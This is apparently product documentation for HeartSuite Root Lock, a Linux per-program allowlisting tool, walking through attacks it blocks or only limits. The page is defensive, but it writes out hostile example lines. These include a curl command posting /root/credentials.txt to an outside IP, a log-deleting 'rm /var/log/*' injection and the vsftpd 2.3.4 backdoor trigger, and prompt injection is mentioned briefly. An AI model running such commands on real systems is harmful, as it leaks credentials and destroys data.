When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite checks each one per program, including a program running as root. What the allowlist check covers names the starts and file changes that still succeed.

Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace.

In Lockdown, Root Lock blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell.

On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock does. A direct execution of a new file needs an allowlist entry for the name presented at start. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved.

In Lockdown, Root Lock refuses that execution. The attacker has a file. They cannot run it under that name.

Secure Script Launchers give a Python, Perl, or PHP script its own allowlist entry, separate from the interpreter. A script dropped at /tmp/attack.py has no entry for that path. What the allowlist check covers names the start that presents a different name.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, the program check does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist.

Every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to.

When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker who already has root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate.

The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server. A socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock Compares.

Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries.

When attackers stay within approved boundaries

Root Lock enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell.

If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs.

Root Lock limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

The delayed-activation case is the malicious sleeper: an approved program behaves as expected for months, then turns those same permissions against you. The execute gate does not fire, because nothing new runs, but under Lockdown the program’s file reads and writes stay inside its allowlist and every destination outside its network allowlist stays closed.

Backup does not stop the sleeper’s first write to an approved path, but it lets you restore protected directories to the version from before the damage. HeartSuite Joint File System (HJFS) adds per-program-version file isolation and automatic backup of every data file.

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused.

Tight allowlisting limits the blast radius. Under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown the kernel gates execute, files, and outbound network per program. By design, remote root does not override those gates and has no intended path to change the sealed allowlist while the machine is running.

The allowlist files are immutable on disk and the kernel refuses the write, while the backup files are protected by the Root Lock kernel itself rather than by filesystem permissions. Unapproved programs do not persist across reboot, but an already-approved program keeps its grants until you change them from a maintenance window.

Lockdown also sets chattr +i on the /root directory inode itself, not only on the allowlist files, so the curl example above meets two layers: the per-program file allowlist refuses the read of /root/credentials.txt, and the immutable flag on the directory is the seal. Neither layer can be lifted remotely, because unsealing takes the console GRUB pick Maintenance: unseal and return to Root Lock. See Circumvention and recovery.

For detection and response when an attack stays within approved boundaries, see How Root Lock Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.